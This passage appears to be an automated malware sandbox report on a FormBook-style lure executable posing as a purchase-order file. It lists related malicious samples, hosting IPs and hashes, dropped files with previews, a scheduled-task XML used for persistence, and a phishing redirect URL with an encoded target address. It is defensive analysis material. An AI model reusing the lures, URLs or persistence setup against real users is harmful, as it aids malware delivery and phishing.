	https://acg.citnow.com/dashboard	Get hash	malicious	Unknown	Browse	18.135.94.120
	mips.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.249.145.219
	SHIPPING DOCUMENTS_PDF.exe	Get hash	malicious	FormBook	Browse	18.139.62.226
	jew.ppc.elf	Get hash	malicious	Unknown	Browse	18.226.64.181
	jew.mips.elf	Get hash	malicious	Unknown	Browse	52.52.10.186
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	54.195.68.141
	jew.arm6.elf	Get hash	malicious	Unknown	Browse	34.247.205.175
	https://newdocumentsproposal.webflow.io/	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	13.227.9.227
	x86_64.elf	Get hash	malicious	Mirai	Browse	100.20.19.195
INTERNET-CZKtis238403KtisCZ	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	jmggnxeedy.elf	Get hash	malicious	Unknown	Browse	81.2.245.22
	lgkWBwqY15.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	New quotation request.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	89778Cpy.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	SRT68.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	need quotations.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	UNGSno5k4G.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	COMMERCIAL-DOKUMEN-YANG-DIREVISI.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	81.2.196.19
PLANETHOSTER-8CA	PO2412010.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	NEW.RFQ00876.pdf.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	Quotation Validity.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	146.88.233.115
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	146.88.233.115
	Quotation sheet.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	146.88.233.115
	Purchase Order PO.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	PO #2411071822.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	Quotation.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	payments.exe	Get hash	malicious	FormBook	Browse	146.88.233.115
	https://texasbarcle.com/CLE/AAGateway.asp?lRefID=19203&sURL=https://famezik.com/#Zi5waWNhc3NvJG1hcmxhdGFua2Vycy5ncg==	Get hash	malicious	Unknown	Browse	146.88.234.239
LINODE-APLinodeLLCUS	Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Get hash	malicious	FormBook	Browse	178.79.184.196
	rebirth.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	212.71.233.17
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	178.79.182.90
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	50.116.24.57
	BlOgLNwCom.exe	Get hash	malicious	XenoRAT	Browse	96.126.118.61
	i586.elf	Get hash	malicious	Unknown	Browse	172.104.31.172
	AS6xKJzYJT.exe	Get hash	malicious	Python Stealer, XenoRAT	Browse	96.126.118.61
	1OaTX8zI4B.exe	Get hash	malicious	XenoRAT	Browse	96.126.118.61
	yliGAnBiRb.exe	Get hash	malicious	Unknown	Browse	96.126.118.61
	5Xt3byH0Pj.exe	Get hash	malicious	XenoRAT	Browse	96.126.118.61

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\sqlite3.dll	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse
	PO#86637.exe	Get hash	malicious	FormBook	Browse
	PO AFHOR9301604.exe	Get hash	malicious	FormBook	Browse
	5890796959.xls	Get hash	malicious	FormBook	Browse
	PI_order_No202307110.doc	Get hash	malicious	FormBook	Browse
	,2,3,4,5.xls	Get hash	malicious	FormBook	Browse
	DBK_+_RODTEP-checking_List.xls	Get hash	malicious	FormBook	Browse
	mv Dragonball.xlsx	Get hash	malicious	FormBook	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sqlite-dll-win32-x86-3270000[1].zip

Process:	C:\Windows\SysWOW64\msinfo32.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	480281
Entropy (8bit):	7.998782566236935
Encrypted:	true
SSDEEP:	12288:Ksi/2nEints+5aKe3l6U67lCctqaihd3lnWt/RUNaprnP+vfkD:Kj/3Ka+5He3l6U6JCE43lWt+N2P+vsD
MD5:	2555518E014ABDA6AB2156ACEAA4C25C
SHA1:	DBFA5BE3E5AB5705BEA72C62591D1856A69E99A5
SHA-256:	81F30FFED254F6660EDA1845240DA62F1A73E94DBAE6DDB564F982825C7E99FE
SHA-512:	6984F9BFF3FACF693DCF4D22883E402EBFE673305AB0395EA52881109EA2B467B7D61567E3E8A0CA7FF01A3969FB8E0E384790333C7F5807EAD1EF190623C6AC
Malicious:	false
Preview:	PK..........HN....(...........sqlite3.defUT....i\\.i\\ux................r.6...y...O_ .f..z.P..."..x.~..?..Hnz..A$A......~.....KI./..w...0-F{..CM..o&\|...F?.,..pN...]Z....;...!p..[..pV&.:...=y....Y.g..[@.N..89...x..O.%J..L..o.3x8X..x...=k.~.4'\|.5...n..4.<8..e.pdN.X.kK......(..t.zU...zy........g...;.zQ l.&.....I..U`.....4...S.y.....xg....y@.../f.6...)..WX.......+x..{.x..82ql..r...D...+.f..&.a.'......~...F.)..z.....Mp,..S...0..&wF..u..R5.x.L..}...7..Y.......~..f..a......+&...&.oR...........).........H..I.^s]3Z.8....w.a,.8/\|.Y..MX.#.....1`.......5_..].....H....ke..X.p......JK"5....N.+,.........)d.Q.j..g.c.........~....``.Y..Y(4o1....{...H._..z...../.........R.y....5WY.....^....L.U...I.(S...J...I...:......_..v"E.J.qZ..VeG]..gj.H.X...{..aZ......:.T...#.$..H.qh.JE..@IN...i.[8her....\|i..9...IDel..%..94.....L..I.....,I.:.....!...h.^...g....R<..4..u.*o.L>.EG{..z..$PX........Y.BX..L...__{.6#@..o)....N... .]..>.......i..5._.F..K...>....G....K....

C:\Users\user\AppData\Local\Temp\00255Of2

Process:	C:\Windows\SysWOW64\msinfo32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5nyywgdq.nmp.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\5vgvg11d.qlv.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\gzkbfl5i.z03.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\h5qgooo5.zya.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\jz-tmbi.zip

Process:	C:\Windows\SysWOW64\msinfo32.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	480281
Entropy (8bit):	7.998782566236935
Encrypted:	true
SSDEEP:	12288:Ksi/2nEints+5aKe3l6U67lCctqaihd3lnWt/RUNaprnP+vfkD:Kj/3Ka+5He3l6U6JCE43lWt+N2P+vsD
MD5:	2555518E014ABDA6AB2156ACEAA4C25C
SHA1:	DBFA5BE3E5AB5705BEA72C62591D1856A69E99A5
SHA-256:	81F30FFED254F6660EDA1845240DA62F1A73E94DBAE6DDB564F982825C7E99FE
SHA-512:	6984F9BFF3FACF693DCF4D22883E402EBFE673305AB0395EA52881109EA2B467B7D61567E3E8A0CA7FF01A3969FB8E0E384790333C7F5807EAD1EF190623C6AC
Malicious:	false
Preview:	PK..........HN....(...........sqlite3.defUT....i\\.i\\ux................r.6...y...O_ .f..z.P..."..x.~..?..Hnz..A$A......~.....KI./..w...0-F{..CM..o&\|...F?.,..pN...]Z....;...!p..[..pV&.:...=y....Y.g..[@.N..89...x..O.%J..L..o.3x8X..x...=k.~.4'\|.5...n..4.<8..e.pdN.X.kK......(..t.zU...zy........g...;.zQ l.&.....I..U`.....4...S.y.....xg....y@.../f.6...)..WX.......+x..{.x..82ql..r...D...+.f..&.a.'......~...F.)..z.....Mp,..S...0..&wF..u..R5.x.L..}...7..Y.......~..f..a......+&...&.oR...........).........H..I.^s]3Z.8....w.a,.8/\|.Y..MX.#.....1`.......5_..].....H....ke..X.p......JK"5....N.+,.........)d.Q.j..g.c.........~....``.Y..Y(4o1....{...H._..z...../.........R.y....5WY.....^....L.U...I.(S...J...I...:......_..v"E.J.qZ..VeG]..gj.H.X...{..aZ......:.T...#.$..H.qh.JE..@IN...i.[8her....\|i..9...IDel..%..94.....L..I.....,I.:.....!...h.^...g....R<..4..u.*o.L>.EG{..z..$PX........Y.BX..L...__{.6#@..o)....N... .]..>.......i..5._.F..K...>....G....K....

C:\Users\user\AppData\Local\Temp\mmchndsb.hgb.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\pqr2bt54.yu5.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\sqlite3.def

Process:	C:\Windows\SysWOW64\msinfo32.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5537
Entropy (8bit):	4.352267516149359
Encrypted:	false
SSDEEP:	96:GcuN/gR+7Ogn0XRMcGM3KOGOF++BwIMtvrENw+Y0aR:E/Q+7Ogn0RKOBF+++HvrENw+cR
MD5:	E8FDCAF1419C66D9916AD24D2FD671EE
SHA1:	E82EFDBB5561810E9EBBF80185642821F1B9D17E
SHA-256:	CB18BFE294499FEA8EE847148DD497DD20A05B3181E6B6AE8651B24B3D29391B
SHA-512:	B66EC534893F19152945BE4F717C2BD0542D88F43C57398CA5B61C74978A8FBB38A8E7144D104E5B254B50E1BCC9F158CA183A1D472708DA1A4AA356DEA9569F
Malicious:	false
Preview:	EXPORTS.sqlite3_aggregate_context.sqlite3_aggregate_count.sqlite3_auto_extension.sqlite3_backup_finish.sqlite3_backup_init.sqlite3_backup_pagecount.sqlite3_backup_remaining.sqlite3_backup_step.sqlite3_bind_blob.sqlite3_bind_blob64.sqlite3_bind_double.sqlite3_bind_int.sqlite3_bind_int64.sqlite3_bind_null.sqlite3_bind_parameter_count.sqlite3_bind_parameter_index.sqlite3_bind_parameter_name.sqlite3_bind_pointer.sqlite3_bind_text.sqlite3_bind_text16.sqlite3_bind_text64.sqlite3_bind_value.sqlite3_bind_zeroblob.sqlite3_bind_zeroblob64.sqlite3_blob_bytes.sqlite3_blob_close.sqlite3_blob_open.sqlite3_blob_read.sqlite3_blob_reopen.sqlite3_blob_write.sqlite3_busy_handler.sqlite3_busy_timeout.sqlite3_cancel_auto_extension.sqlite3_changes.sqlite3_clear_bindings.sqlite3_close.sqlite3_close_v2.sqlite3_collation_needed.sqlite3_collation_needed16.sqlite3_column_blob.sqlite3_column_bytes.sqlite3_column_bytes16.sqlite3_column_count.sqlite3_column_database_name.sqlite3_column_database_name16.sqlite3_colum

C:\Users\user\AppData\Local\Temp\sqlite3.dll

Process:	C:\Windows\SysWOW64\msinfo32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916693
Entropy (8bit):	6.515298049291402
Encrypted:	false
SSDEEP:	24576:uY80dlS9SDd59YfRAbaJJs1E8NIGG6lmd//V:uY8iSa2RAbaJJsO8NIGGoG
MD5:	1EB6ACF76A15B74B38333AF47DC1218D
SHA1:	A3FBC817F59B6A8899DC338CC15A75CDD17DFFF1
SHA-256:	A5EF3A78EB333B0E6DCA194EA711DCBB036119A788ECFE125F05176FB0FB70A3
SHA-512:	717931AA928DE150ABBB70D523C7DBD472BFA6C511AB55E0B50DF8D9661D33635156ED7B750285FA383CDD4064F225EA022F0BEAD3E066EE2BEBA84EF5731C15
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: BILL OF LADDING.exe, Detection: malicious, Browse Filename: PO#86637.exe, Detection: malicious, Browse Filename: PO AFHOR9301604.exe, Detection: malicious, Browse Filename: 5890796959.xls, Detection: malicious, Browse Filename: PI_order_No202307110.doc, Detection: malicious, Browse Filename: ,2,3,4,5.xls, Detection: malicious, Browse Filename: DBK_+_RODTEP-checking_List.xls, Detection: malicious, Browse Filename: mv Dragonball.xlsx, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....i\\...........!.....Z...................p.....a................................Q/........ .......................... ......H.... .......................0...3...................................................................................text....X.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\Local\Temp\tmp61C0.tmp

Process:	C:\Users\user\Desktop\RFQ_P.O.1212024.scr
File Type:	XML 1.0 document, ASCII text
Category:	modified
Size (bytes):	1574
Entropy (8bit):	5.103162941344142
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtyMxvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTnv
MD5:	EC55073DC549118EB16DDA29B1167B10
SHA1:	3FC157556C89218660E90B3855DC7D57BE2159A7
SHA-256:	4E47B2EFA9489766775B7EAFABC6F9BF199861656DD4522937D457BA354F67FD
SHA-512:	223BE1461FB0BDA9318ED811B46DC8B0B12ED00F221193C7458DD95D2BC795CF8702B52CA750B366012F54C375A163A593B5816DEA4A82DAFB463032B1F5FA53
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp958C.tmp

Process:	C:\Users\user\AppData\Roaming\PEJmengI.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1574
Entropy (8bit):	5.103162941344142
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtyMxvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTnv
MD5:	EC55073DC549118EB16DDA29B1167B10
SHA1:	3FC157556C89218660E90B3855DC7D57BE2159A7
SHA-256:	4E47B2EFA9489766775B7EAFABC6F9BF199861656DD4522937D457BA354F67FD
SHA-512:	223BE1461FB0BDA9318ED811B46DC8B0B12ED00F221193C7458DD95D2BC795CF8702B52CA750B366012F54C375A163A593B5816DEA4A82DAFB463032B1F5FA53
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\vweah0oa.r0a.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\x1ikawk4.fmg.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\PEJmengI.exe

Process:	C:\Users\user\Desktop\RFQ_P.O.1212024.scr
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	878088
Entropy (8bit):	7.714415066572313
Encrypted:	false
SSDEEP:	24576:tjlIhSPd+ppZbvbe3w/IWZin88Dckr0hD:tjl+SPspnzOUaQM0hD
MD5:	BC03B7D0CC3FAA356F5C49609D150B44
SHA1:	687546140C750B9B466F8DA86C63CFF613B727A2
SHA-256:	36389326C697D43ECF27B181B4EC997FFC45AA8B1CDCA0CCA34DB3D43075CCCD
SHA-512:	53E3C8DDA203BC230E3386222AC6904AACE2526082CD0279301C4BFE953D93FE94D9E2D0C4E8596EB26815CB9642E9A9EC53A1FA63CCF7267B00A93B8998FC7F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Zg..............0......&.......&... ...@....@.. ....................................@..................................&..O....@..("...........0...6........................................................... ............... ..H............text........ ...................... ..`.rsrc...("...@...$..................@..@.reloc..............................@..B.................&......H.......d1...!...........S..x............................................0...........(........}.....s....}.....r...p(....}.....~.... ....s....}.....{....o.... ......o......{.....o......{....o.....{....o......{.....{....o.....f........s ...s!...("....~..{....r...po......{....o#.....0..}.........{....r9..po......+7...{.....\|....o$...}....(%....{....o&.....{.....o........+.&..{....rS..po........&..{....rS..po...................>P..........>f.........}.....('.......s....}....

C:\Users\user\AppData\Roaming\PEJmengI.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\RFQ_P.O.1212024.scr
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.714415066572313
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RFQ_P.O.1212024.scr
File size:	878'088 bytes
MD5:	bc03b7d0cc3faa356f5c49609d150b44
SHA1:	687546140c750b9b466f8da86c63cff613b727a2
SHA256:	36389326c697d43ecf27b181b4ec997ffc45aa8b1cdca0cca34db3d43075cccd
SHA512:	53e3c8dda203bc230e3386222ac6904aace2526082cd0279301c4bfe953d93fe94d9e2d0c4e8596eb26815cb9642e9a9ec53a1fa63ccf7267b00a93b8998fc7f
SSDEEP:	24576:tjlIhSPd+ppZbvbe3w/IWZin88Dckr0hD:tjl+SPspnzOUaQM0hD
TLSH:	8B15D0C03B2A7711DEACB934852AEDBC62642E74B004B8F36EDD2B57B5DD1126A1CF40
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Zg..............0......&.......&... ...@....@.. ....................................@................................

File Icon


Icon Hash:	37cb832923934d33

Static PE Info

General

Entrypoint:	0x4d26da
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x675A8E02 [Thu Dec 12 07:17:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	11/12/2018 7:00:00 PM 11/8/2021 6:59:59 PM
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
